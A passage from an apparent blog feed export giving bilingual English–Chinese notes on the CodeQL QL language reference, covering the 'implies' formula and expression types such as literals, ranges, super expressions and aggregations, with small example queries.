href="#implies" class="headerlink" title="implies"></a><code>implies</code></h3><p>You can use the keyword <code>implies</code> between two formulas. The resulting formula is called an implication. This is just a simplified notation: <code>A implies B</code> is the same as writing <code>(not A) or B</code>.</p><blockquote><p>你可以在两个公式之间使用关键字 implies。由此产生的公式称为内涵式。这只是一个简化的符号。A暗示B和写（不是A）或B是一样的。</p></blockquote><p><strong>Example</strong></p><p>The following query selects any <code>SmallInt</code> that is odd, or a multiple of <code>4</code>.</p><blockquote><p>下面的查询选择了任何一个奇数或4的倍数的SmallInt。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">class SmallInt extends int {</span><br><span class="line">  SmallInt() { this = [1 .. 10] }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from SmallInt x</span><br><span class="line">where x % 2 = 0 implies x % 4 = 0</span><br><span class="line">select x</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/38u19er38ec/38u19er38ec.png" alt="image-20210317181938737"></p><p>Footnotes</p><table><thead><tr><th><a href="https://codeql.github.com/docs/ql-language-reference/formulas/#id3" target="_blank" rel="noopener">[1]</a></th><th>The difference between <code>A != B</code> and <code>not A = B</code> is due to the underlying quantifiers. If you think of <code>A</code> and <code>B</code> as sets of values, then <code>A != B</code> means:</th></tr></thead><tbody><tr><td>[1]</td><td>A != B和不是A = B之间的区别是由于底层的量词。如果你把A和B看作是值的集合，那么A != B的意思是。</td></tr></tbody></table><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">exists( a, b | a in A and b in B | a != b )</span><br></pre></td></tr></tbody></table></figure><p>On the other hand, <code>not A = B</code> means:</p><blockquote><p>另一方面，不存在A=B意味着:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">not exists( a, b | a in A and b in B | a = b )</span><br></pre></td></tr></tbody></table></figure><p>This is equivalent to <code>forall( a, b | a in A and b in B | a != b )</code>, which is very different from the first formula.</p><blockquote><p>这相当于forall( a, b | a in A and b in B | a != b )，这与第一个公式有很大不同。</p></blockquote>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Formulas¶公式&quot;&gt;&lt;a href=&quot;#Formulas¶公式&quot; class=&quot;headerlink&quot; title=&quot;Formulas¶公式&quot;&gt;&lt;/a&gt;Formulas&lt;a href=&quot;https://codeql.github.com/docs/ql-la
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Expression</title>
    <link href="https://summersec.github.io/2021/03/16/Expressions/"/>
    <id>https://summersec.github.io/2021/03/16/Expressions/</id>
    <published>2021-03-16T11:22:16.000Z</published>
    <updated>2021-03-20T08:30:02.489Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Expressions¶表达式"><a href="#Expressions¶表达式" class="headerlink" title="Expressions¶表达式"></a>Expressions<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#expressions" target="_blank" rel="noopener">¶</a>表达式</h1><p>An expression evaluates to a set of values and has a type.</p><blockquote><p>表达式对一组值进行评估，并有一个类型。</p></blockquote><p>For example, the expression <code>1 + 2</code> evaluates to the integer <code>3</code> and the expression <code>"QL"</code> evaluates to the string <code>"QL"</code>. <code>1 + 2</code> has <a href="https://codeql.github.com/docs/ql-language-reference/types/#types" target="_blank" rel="noopener">type</a> <code>int</code> and <code>"QL"</code> has type <code>string</code>.</p><blockquote><p>例如，表达式1 + 2的值是整数3，表达式 “QL “的值是字符串 “QL”。1 + 2 的类型是 int，”QL “的类型是字符串。</p></blockquote><p>The following sections describe the expressions that are available in QL.</p><blockquote><p>下面的章节将描述QL中可用的表达式。</p></blockquote><h2 id="Variable-references¶变量引用"><a href="#Variable-references¶变量引用" class="headerlink" title="Variable references¶变量引用"></a>Variable references<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#variable-references" target="_blank" rel="noopener">¶</a>变量引用</h2><p>A variable reference is the name of a declared <a href="https://codeql.github.com/docs/ql-language-reference/variables/#variables" target="_blank" rel="noopener">variable</a>. This kind of expression has the same type as the variable it refers to.</p><blockquote><p>变量引用是一个声明变量的名称。这种表达式的类型与它所引用的变量的类型相同。</p></blockquote><p>For example, if you have <a href="https://codeql.github.com/docs/ql-language-reference/variables/#variable-declarations" target="_blank" rel="noopener">declared</a> the variables <code>int i</code> and <code>LocalScopeVariable lsv</code>, then the expressions <code>i</code> and <code>lsv</code> have types <code>int</code> and <code>LocalScopeVariable</code> respectively.</p><blockquote><p>例如，如果你声明了变量int i和LocalScopeVariable lsv，那么表达式i和lsv的类型分别为int和LocalScopeVariable。</p></blockquote><p>You can also refer to the variables <code>this</code> and <code>result</code>. These are used in <a href="https://codeql.github.com/docs/ql-language-reference/predicates/#predicates" target="_blank" rel="noopener">predicate</a> definitions and act in the same way as other variable references.</p><blockquote><p>您还可以引用变量this和result。这些变量在谓词定义中使用，其作用与其他变量引用相同。</p></blockquote><h2 id="Literals¶字符"><a href="#Literals¶字符" class="headerlink" title="Literals¶字符"></a>Literals<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#literals" target="_blank" rel="noopener">¶</a>字符</h2><p>You can express certain values directly in QL, such as numbers, booleans, and strings.</p><blockquote><p>你可以直接在QL中表达某些值，如数字、布尔和字符串。</p></blockquote><ul><li><p><a href="https://codeql.github.com/docs/ql-language-reference/types/#boolean" target="_blank" rel="noopener">Boolean</a> literals: These are the values <code>true</code> and <code>false</code>.</p></li><li><blockquote><p>布尔值：真和假。</p></blockquote></li><li><p><a href="https://codeql.github.com/docs/ql-language-reference/types/#int" target="_blank" rel="noopener">Integer</a> literals: These are sequences of decimal digits (<code>0</code> through <code>9</code>), possibly starting with a minus sign (<code>-</code>). For example:</p></li><li><blockquote><p>整数字面意义：这些是十进制数字（0到9）的序列，可能以减号（-）开始</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0</span><br><span class="line">42</span><br><span class="line">-2048</span><br></pre></td></tr></tbody></table></figure></li><li><p><a href="https://codeql.github.com/docs/ql-language-reference/types/#float" target="_blank" rel="noopener">Float</a> literals: These are sequences of decimal digits separated by a dot (<code>.</code>), possibly starting with a minus sign (<code>-</code>). For example:</p></li><li><blockquote><p>浮点数。这些是由点（…）分隔的十进制数字序列，可能以减号（-）开头。例如：</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">2.0</span><br><span class="line">123.456</span><br><span class="line">-100.5</span><br></pre></td></tr></tbody></table></figure></li><li><p><a href="https://codeql.github.com/docs/ql-language-reference/types/#string" target="_blank" rel="noopener">String</a> literals: These are finite strings of 16-bit characters. You can define a string literal by enclosing characters in quotation marks (<code>"..."</code>). Most characters represent themselves, but there are a few characters that you need to “escape” with a backslash. The following are examples of string literals:</p></li><li><blockquote><p>字符串。这些是16位字符的有限字符串。你可以通过用引号(“…”)括起字符来定义一个字符串字面意义。大多数字符代表自己，但也有一些字符需要用反斜杠 “转义”。下面是字符串文字的例子:</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">"hello"</span><br><span class="line">"They said, \"Please escape quotation marks!\""</span><br></pre></td></tr></tbody></table></figure><p>  See <a href="https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#string-literals-string" target="_blank" rel="noopener">String literals</a> in the QL language specification for more details.</p><blockquote><p>更多细节请参见QL语言规范中的字符串</p></blockquote><p>  Note: there is no “date literal” in QL. Instead, to specify a <a href="https://codeql.github.com/docs/ql-language-reference/types/#date" target="_blank" rel="noopener">date</a>, you should convert a string to the date that it represents using the <code>toDate()</code> predicate. For example, <code>"2016-04-03".toDate()</code> is the date April 3, 2016, and <code>"2000-01-01 00:00:01".toDate()</code> is the point in time one second after New Year 2000.</p><blockquote><p>注意：QL中没有 “日期文字”。相反，要指定一个日期，应该使用toDate()谓词将一个字符串转换为它所代表的日期。例如，”2016-04-03”.toDate()是2016年4月3日的日期，”2000-01-01 00:00:01”.toDate()是2000年新年后一秒钟的时间点。</p></blockquote><ul><li><p>The following string formats are recognized as dates:</p></li><li><blockquote><p>以下的字符串格式可以识别为日期。</p></blockquote><p>  <strong>ISO dates</strong>, such as <code>"2016-04-03 17:00:24"</code>. The seconds part is optional (assumed to be <code>"00"</code> if it’s missing), and the entire time part can also be missing (in which case it’s assumed to be <code>"00:00:00"</code>).<strong>Short-hand ISO dates</strong>, such as <code>"20160403"</code>.<strong>UK-style dates</strong>, such as <code>"03/04/2016"</code>.<strong>Verbose dates</strong>, such as <code>"03 April 2016"</code>.</p><blockquote><p>ISO日期，如 “2016-04-03 17:00:24”。秒的部分是可选的（如果缺失，则假定为 “00”），整个时间部分也可以缺失（在这种情况下，假定为 “00:00:00”）。<br>短手ISO日期，如 “20160403”。<br>英国式日期，如 “03/04/2016”。<br>啰嗦的日期，如 “03 April 2016”。</p></blockquote></li></ul></li></ul><h2 id="Parenthesized-expressions¶括号表达式"><a href="#Parenthesized-expressions¶括号表达式" class="headerlink" title="Parenthesized expressions¶括号表达式"></a>Parenthesized expressions<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#parenthesized-expressions" target="_blank" rel="noopener">¶</a>括号表达式</h2><p>A parenthesized expression is an expression surrounded by parentheses, <code>(</code> and <code>)</code>. This expression has exactly the same type and values as the original expression. Parentheses are useful for grouping expressions together to remove ambiguity and improve readability.</p><blockquote><p>小括号表达式是指用括号,（和）包围的表达式。该表达式的类型和值与原始表达式完全相同。圆括号对于将表达式分组以消除歧义和提高可读性非常有用。</p></blockquote><h2 id="Ranges¶范围"><a href="#Ranges¶范围" class="headerlink" title="Ranges¶范围"></a>Ranges<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#ranges" target="_blank" rel="noopener">¶</a>范围</h2><p>A range expression denotes a range of values ordered between two expressions. It consists of two expressions separated by <code>..</code> and enclosed in brackets (<code>[</code> and <code>]</code>). For example, <code>[3 .. 7]</code> is a valid range expression. Its values are any integers between <code>3</code> and <code>7</code> (including <code>3</code> and <code>7</code> themselves).</p><blockquote><p>范围表达式表示两个表达式之间排序的数值范围。它由两个表达式组成，用…隔开，并用括号（[和]）括起来。例如，[3 … 7]是一个有效的范围表达式。它的值是3和7之间的任何整数（包括3和7本身）。</p></blockquote><p>In a valid range, the start and end expression are integers, floats, or dates. If one of them is a date, then both must be dates. If one of them is an integer and the other a float, then both are treated as floats.</p><blockquote><p>在一个有效的范围中，开始和结束表达式是整数、浮点数或日期。如果其中一个是日期，那么两个都必须是日期。如果其中一个是整数，另一个是浮点数，那么两者都被视为浮点数。</p></blockquote><hr><h2 id="Set-literal-expressions¶设置文本表达式"><a href="#Set-literal-expressions¶设置文本表达式" class="headerlink" title="Set literal expressions¶设置文本表达式"></a>Set literal expressions<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#set-literal-expressions" target="_blank" rel="noopener">¶</a>设置文本表达式</h2><p>A set literal expression allows the explicit listing of a choice between several values. It consists of a comma-separated collection of expressions that are enclosed in brackets (<code>[</code> and <code>]</code>). For example, <code>[2, 3, 5, 7, 11, 13, 17, 19, 23, 29]</code> is a valid set literal expression. Its values are the first ten prime numbers.</p><blockquote><p>set-literal 表达式允许明确地列出几个值之间的选择。它由一个逗号分隔的表达式集合组成，这些表达式用括号（[ 和 ]）括起来。例如，[2, 3, 5, 7, 11, 13, 17, 19, 23, 29]是一个有效的集合文字表达式。它的值是前十个质数。</p></blockquote><p>The values of the contained expressions need to be of <a href="https://codeql.github.com/docs/ql-language-reference/types/#type-compatibility" target="_blank" rel="noopener">compatible types</a> for a valid set literal expression. Furthermore, at least one of the set elements has to be of a type that is a supertype of the types of all the other contained expressions.</p><blockquote><p>对于一个有效的set-literal 表达式来说，所包含的表达式的值必须是兼容类型。此外，至少有一个集合元素的类型必须是所有其他包含的表达式类型的超类型。</p></blockquote><p>Set literals are supported from release 2.1.0 of the CodeQL CLI, and release 1.24 of LGTM Enterprise.</p><blockquote><p>从CodeQL CLI的2.1.0版本和LGTM Enterprise的1.24版本开始，就支持集合文字表达式。</p></blockquote><h2 id="Super-expressions¶超级表达式"><a href="#Super-expressions¶超级表达式" class="headerlink" title="Super expressions¶超级表达式"></a>Super expressions<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#super-expressions" target="_blank" rel="noopener">¶</a>超级表达式</h2><p>Super expressions in QL are similar to super expressions in other programming languages, such as Java. You can use them in predicate calls, when you want to use the predicate definition from a supertype. In practice, this is useful when a predicate inherits two definitions from its supertypes. In that case, the predicate must <a href="https://codeql.github.com/docs/ql-language-reference/types/#overriding-member-predicates" target="_blank" rel="noopener">override</a> those definitions to avoid ambiguity. However, if you want to use the definition from a particular supertype instead of writing a new definition, you can use a super expression.</p><blockquote><p>QL中的超级表达式类似于其他编程语言中的超级表达式，例如Java。当你想使用来自超级类型的谓词定义时，你可以在谓词调用中使用它们。在实践中，当一个谓词从其超类型中继承了两个定义时，这很有用。在这种情况下，谓词必须覆盖这些定义以避免歧义。然而，如果你想使用来自特定超类型的定义，而不是编写一个新的定义，你可以使用超级表达式。</p></blockquote><p>In the following example, the class <code>C</code> inherits two definitions of the predicate <code>getANumber()</code>—one from <code>A</code> and one from <code>B</code>. Instead of overriding both definitions, it uses the definition from <code>B</code>.</p><blockquote><p>在下面的示例中，类C继承了谓词getANumber()的两个定义–一个来自于A，一个来自于B，它没有覆盖这两个定义，而是使用了B的定义。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">class A extends int {</span><br><span class="line">    A() { this = 1 }</span><br><span class="line">    int getANumber() { result = 2 }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class B extends int {</span><br><span class="line">    B() { this = 1 }</span><br><span class="line">    int getANumber() { result = 3 }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class C extends A, B {</span><br><span class="line">  // Need to define `int getANumber()`; otherwise it would be ambiguous</span><br><span class="line">    override int getANumber() { // 最新版必须加override关键字</span><br><span class="line">        result = B.super.getANumber()</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from C c</span><br><span class="line">select c, c.getANumber()</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/3u59er3ec/3u59er3ec.png" alt="image-20210316195903686"></p><h2 id="Calls-to-predicates-with-result-¶谓词调用-带结果"><a href="#Calls-to-predicates-with-result-¶谓词调用-带结果" class="headerlink" title="Calls to predicates (with result)¶谓词调用(带结果)"></a>Calls to predicates (with result)<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#calls-to-predicates-with-result" target="_blank" rel="noopener">¶</a>谓词调用(带结果)</h2><p>Calls to <a href="https://codeql.github.com/docs/ql-language-reference/predicates/#predicates-with-result" target="_blank" rel="noopener">predicates with results</a> are themselves expressions, unlike calls to <a href="https://codeql.github.com/docs/ql-language-reference/predicates/#predicates-without-result" target="_blank" rel="noopener">predicates without results</a> which are formulas. For more information, see “<a href="https://codeql.github.com/docs/ql-language-reference/formulas/#calls" target="_blank" rel="noopener">Calls to predicates</a>.”</p><blockquote><p>对有结果的谓词的调用本身就是表达式，不像对没有结果的谓词的调用是公式。更多信息，请参见 “对谓词的调用”。</p></blockquote><p>A call to a predicate with result evaluates to the values of the <code>result</code> variable of the called predicate.</p><blockquote><p>对带结果的谓词的调用会评估到被调用的谓词的结果变量的值。</p></blockquote><p>For example <code>a.getAChild()</code> is a call to a predicate <code>getAChild()</code> on a variable <code>a</code>. This call evaluates to the set of children of <code>a</code>.</p><blockquote><p>例如，a.getAChild()是对变量a的谓词getAChild()的调用，该调用的值是a的子集。</p></blockquote><h2 id="Aggregations¶聚合"><a href="#Aggregations¶聚合" class="headerlink" title="Aggregations¶聚合"></a>Aggregations<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#aggregations" target="_blank" rel="noopener">¶</a>聚合</h2><p>An aggregation is a mapping that computes a result value from a set of input values that are specified by a formula.</p><blockquote><p>聚合是一种映射，它从一组由公式指定的输入值中计算出一个结果值。</p></blockquote><p>The general syntax is:</p><blockquote><p>一般语法：</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;aggregate&gt;(&lt;variable declarations&gt; | &lt;formula&gt; | &lt;expression&gt;)</span><br></pre></td></tr></tbody></table></figure><p>The variables <a href="https://codeql.github.com/docs/ql-language-reference/variables/#variable-declarations" target="_blank" rel="noopener">declared</a> in <code>&lt;variable declarations&gt;</code> are called the <strong>aggregation variables</strong>.</p><blockquote><p>在&lt;变量声明&gt;中声明的变量称为聚合变量。</p></blockquote><p>Ordered aggregates (namely <code>min</code>, <code>max</code>, <code>rank</code>, <code>concat</code>, and <code>strictconcat</code>) are ordered by their <code>&lt;expression&gt;</code> values by default. The ordering is either numeric (for integers and floating point numbers) or lexicographic (for strings). Lexicographic ordering is based on the <a href="https://en.wikipedia.org/wiki/List_of_Unicode_characters#Basic_Latin" target="_blank" rel="noopener">Unicode value</a> of each character.</p><blockquote><p>有序聚合（即min、max、rank、concat和strictconcat）默认按照它们的<expression>值排序。排序方式可以是数字排序（对于整数和浮点数），也可以是词法排序（对于字符串）。词法排序是基于每个字符的Unicode值。</expression></p></blockquote><p>To specify a different order, follow <code>&lt;expression&gt;</code> with the keywords <code>order by</code>, then the expression that specifies the order, and optionally the keyword <code>asc</code> or <code>desc</code> (to determine whether to order the expression in ascending or descending order). If you don’t specify an ordering, it defaults to <code>asc</code>.</p><blockquote><p>要指定不同的顺序，请在<expression>后面加上关键字order by，然后是指定顺序的表达式，以及可选的关键字asc或desc（用于确定表达式是按升序还是降序排列）。如果你没有指定排序，它默认为升序。</expression></p></blockquote><p>The following aggregates are available in QL:</p><blockquote><p>QL中提供了以下聚合。</p></blockquote><ul><li><p><code>count</code>: This aggregate determines the number of distinct values of <code>&lt;expression&gt;</code> for each possible assignment of the aggregation variables.</p></li><li><blockquote><p>count。该聚合确定了<expression>的每个可能的聚合变量赋值的不同值的数量。</expression></p></blockquote><p>  For example, the following aggregation returns the number of files that have more than <code>500</code> lines:</p><blockquote><p>例如，下面的聚合返回的是超过500行的文件数。</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">count(File f | f.getTotalNumberOfLines() &gt; 500 | f)</span><br></pre></td></tr></tbody></table></figure><p>  If there are no possible assignments to the aggregation variables that satisfy the formula, as in <code>count(int i | i = 1 and i = 2 | i)</code>, then <code>count</code> defaults to the value <code>0</code>.</p><blockquote><p>count(File f | f.getTotalNumberOfLines() &gt; 500 | f)<br>如果没有满足公式的聚合变量的可能赋值，如count(int i | i = 1 and i = 2 | i)，那么count默认为值0。</p></blockquote></li><li><p><code>min</code> and <code>max</code>: These aggregates determine the smallest (<code>min</code>) or largest (<code>max</code>) value of <code>&lt;expression&gt;</code> among the possible assignments to the aggregation variables. In this case, <code>&lt;expression&gt;</code> must be of numeric type or of type <code>string</code>.</p></li><li><blockquote><p>min和max。这些聚合变量决定了<expression>在可能的聚合变量赋值中的最小（最小）或最大（最大）值。在这种情况下，<expression>必须是数字类型或字符串类型。</expression></expression></p></blockquote><p>For example, the following aggregation returns the name of the <code>.js</code> file (or files) with the largest number of lines:</p><blockquote><p>例如，以下聚合返回行数最多的.js文件（或文件）的名称</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">max(File f | f.getExtension() = "js" | f.getBaseName() order by f.getTotalNumberOfLines())</span><br></pre></td></tr></tbody></table></figure><p>The following aggregation returns the minimum string <code>s</code> out of the three strings mentioned below, that is, the string that comes first in the lexicographic ordering of all the possible values of <code>s</code>. (In this case, it returns <code>"De Morgan"</code>.)</p><blockquote><p>下面的聚合返回下面提到的三个字符串中最小的字符串s，即在所有可能的s值的词法排序中排在第一位的字符串（在本例中，它返回 “德摩根”）。</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">min(string s | s = "Tarski" or s = "Dedekind" or s = "De Morgan" | s)</span><br></pre></td></tr></tbody></table></figure></li><li><p><code>avg</code>: This aggregate determines the average value of <code>&lt;expression&gt;</code> for all possible assignments to the aggregation variables. The type of <code>&lt;expression&gt;</code> must be numeric. If there are no possible assignments to the aggregation variables that satisfy the formula, the aggregation fails and returns no values. In other words, it evaluates to the empty set.</p><blockquote><p>avg：该集合确定<expression>对所有可能的集合变量分配的平均值。<expression>的类型必须是数字型。如果聚合变量没有满足公式的可能赋值，则聚合失败，不返回任何值。换句话说，它评估为空集。</expression></expression></p></blockquote><p>  For example, the following aggregation returns the average of the integers <code>0</code>, <code>1</code>, <code>2</code>, and <code>3</code>:</p><blockquote><p>例如，下面的聚合返回的是整数0、1、2和3的平均值。</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">avg(int i | i = [0 .. 3] | i)</span><br></pre></td></tr></tbody></table></figure></li><li><p><code>sum</code>: This aggregate determines the sum of the values of <code>&lt;expression&gt;</code> over all possible assignments to the aggregation variables. The type of <code>&lt;expression&gt;</code> must be numeric. If there are no possible assignments to the aggregation variables that satisfy the formula, then the sum is <code>0</code>.</p></li><li><blockquote><p>sum:该集合确定<expression>值在所有可能的集合变量分配中的总和。<expression>的类型必须是数字型。如果没有满足公式的聚合变量的可能赋值，那么总和为0。</expression></expression></p></blockquote><p>  For example, the following aggregation returns the sum of <code>i * j</code> for all possible values of <code>i</code> and <code>j</code>:</p><blockquote><p>例如，下面的聚合返回i*j的所有可能的i和j的值之和。</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sum(int i, int j | i = [0 .. 2] and j = [3 .. 5] | i * j)</span><br></pre></td></tr></tbody></table></figure></li><li><p><code>concat</code>: This aggregate concatenates the values of <code>&lt;expression&gt;</code> over all possible assignments to the aggregation variables. Note that <code>&lt;expression&gt;</code> must be of type <code>string</code>. If there are no possible assignments to the aggregation variables that satisfy the formula, then <code>concat</code> defaults to the empty string.</p></li><li><blockquote><p>concat:该聚合将<expression>的值与所有可能的聚合变量分配相连接。注意<expression>必须是字符串类型。如果聚合变量没有满足公式的可能赋值，那么concat默认为空字符串。</expression></expression></p></blockquote><p>  For example, the following aggregation returns the string <code>"3210"</code>, that is, the concatenation of the strings <code>"0"</code>, <code>"1"</code>, <code>"2"</code>, and <code>"3"</code> in descending order:</p><blockquote><p>例如，下面的聚合返回字符串 “3210”，也就是字符串 “0”、”1”、”2 “和 “3 “的降序连接</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">concat(int i | i = [0 .. 3] | i.toString() order by i desc)</span><br></pre></td></tr></tbody></table></figure><p>  The <code>concat</code> aggregate can also take a second expression, separated from the first one by a comma. This second expression is inserted as a separator between each concatenated value.</p><blockquote><p>concat aggregate也可以使用第二个表达式，用逗号与第一个表达式隔开。这第二个表达式被插入作为每个连接值之间的分隔符。</p></blockquote><p>  For example, the following aggregation returns <code>"0|1|2|3"</code>:</p><blockquote><p>例如，下面的聚合返回 “0|1|2|3”。</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">concat(int i | i = [0 .. 3] | i.toString(), "|")</span><br></pre></td></tr></tbody></table></figure></li><li><p><code>rank</code>: This aggregate takes the possible values of <code>&lt;expression&gt;</code> and ranks them. In this case, <code>&lt;expression&gt;</code> must be of numeric type or of type <code>string</code>. The aggregation returns the value that is ranked in the position specified by the <strong>rank expression</strong>. You must include this rank expression in brackets after the keyword <code>rank</code>.</p></li><li><blockquote><p>rank: 这个集合将<expression>的可能值进行排序。在这种情况下，<expression>必须是数字类型或字符串类型。聚合将返回排名在rank表达式指定位置的值。您必须在关键字 rank 后面的括号中包含这个 rank 表达式。</expression></expression></p></blockquote><p>  For example, the following aggregation returns the value that is ranked 4th out of all the possible values. In this case, <code>8</code> is the 4th integer in the range from <code>5</code> through <code>15</code>:</p><blockquote><p>例如，以下聚合返回在所有可能的值中排名第4的值。在这种情况下，8是5到15范围内的第4个整数。</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rank[4](int i | i = [5 .. 15] | i)</span><br></pre></td></tr></tbody></table></figure><p>  Note that the rank indices start at <code>1</code>, so <code>rank[0](...)</code> returns no results.</p><blockquote><p>请注意，rank指数从1开始，所以rank[0](…)不返回结果。</p></blockquote></li><li><p><code>strictconcat</code>, <code>strictcount</code>, and <code>strictsum</code>: These aggregates work like <code>concat</code>, <code>count</code>, and <code>sum</code> respectively, except that they are <em>strict</em>. That is, if there are no possible assignments to the aggregation variables that satisfy the formula, then the entire aggregation fails and evaluates to the empty set (instead of defaulting to <code>0</code> or the empty string). This is useful if you’re only interested in results where the aggregation body is non-trivial.</p></li><li><blockquote><p>strictconcat、strictcount和stictsum。这些聚合的工作原理分别和concat, count, sum一样, 除了它们是严格的. 也就是说，如果聚合变量没有满足公式的可能赋值，那么整个聚合就会失败，并评估为空集（而不是默认为0或空字符串）。如果你只对聚合体是非平凡的结果感兴趣，这很有用。</p></blockquote></li><li><p><code>unique</code>: This aggregate depends on the values of <code>&lt;expression&gt;</code> over all possible assignments to the aggregation variables. If there is a unique value of <code>&lt;expression&gt;</code> over the aggregation variables, then the aggregate evaluates to that value. Otherwise, the aggregate has no value.</p></li><li><blockquote><p><code>unique</code>: 取决于<expression>在所有可能的聚合变量赋值上的值。如果<expression>在聚合变量上有一个唯一的值，那么聚合体就会评估为该值。否则，聚合就没有值。</expression></expression></p></blockquote><p>  For example, the following query returns the positive integers <code>1</code>, <code>2</code>, <code>3</code>, <code>4</code>, <code>5</code>. For negative integers <code>x</code>, the expressions <code>x</code> and <code>x.abs()</code> have different values, so the value for <code>y</code> in the aggregate expression is not uniquely determined.</p><blockquote><p>例如，下面的查询返回正整数1，2，3，4，5。对于负整数x，表达式x和x.abs()具有不同的值，因此聚合表达式中y的值不是唯一确定的。</p></blockquote>  <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">    from int x</span><br><span class="line">    where x in [-5 .. 5] and x != 0</span><br><span class="line">select unique(int y | y = x or y = x.abs() | y)</span><br></pre></td></tr></tbody></table></figure><p>  <img src="https://gitee.com/samny/images/raw/master/13u33er13ec/13u33er13ec.png" alt="image-20210316203313463"></p><p>  The <code>unique</code> aggregate is supported from release 2.1.0 of the CodeQL CLI, and release 1.24 of LGTM Enterprise.</p><blockquote><p>从CodeQL CLI的2.1.0版本和LGTM Enterprise的1.24版本开始支持<code>unique</code> 的聚合。</p></blockquote></li></ul><h3 id="Evaluation-of-aggregates¶聚合合计"><a href="#Evaluation-of-aggregates¶聚合合计" class="headerlink" title="Evaluation of aggregates¶聚合合计"></a>Evaluation of aggregates<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#evaluation-of-aggregates" target="_blank" rel="noopener">¶</a>聚合合计</h3><p>In general, aggregate evaluation involves the following steps:</p><blockquote><p>一般来说，集合评价包括以下步骤:</p></blockquote><ol><li><p>Determine the input variables: these are the aggregation variables declared in <code>&lt;variable declarations&gt;</code> and also the variables declared outside of the aggregate that are used in some component of the aggregate.</p><blockquote><p>确定输入变量：这些变量是在&lt;变量声明&gt;中声明的集合变量，也是在集合之外声明的、用于集合的某些组成部分的变量。</p></blockquote></li><li><p>Generate all possible distinct tuples (combinations) of the values of input variables such that the <code>&lt;formula&gt;</code> holds true. Note that the same value of an aggregate variable may appear in multiple distinct tuples. All such occurrences of the same value are treated as distinct occurrences when processing tuples.</p><blockquote><p>生成所有可能的输入变量值的不同元组（组合），使&lt;公式&gt;成立。请注意，一个集合变量的同一个值可能出现在多个不同的元组中。当处理元组时，所有这些相同值的出现都被视为不同的出现。</p></blockquote></li><li><p>Apply <code>&lt;expression&gt;</code> on each tuple and collect the generated (distinct) values. The application of <code>&lt;expression&gt;</code> on a tuple may result in generating more than one value.</p><blockquote><p>在每个元组上应用<expression>并收集生成的（不同的）值。在一个元组上应用<expression>可能会导致生成一个以上的值。</expression></expression></p></blockquote></li><li><p>Apply the aggregation function on the values generated in step 3 to compute the final result.</p><blockquote><p>在步骤3中生成的值上应用聚合函数来计算最终结果。</p></blockquote></li></ol><p>Let us apply these steps to the 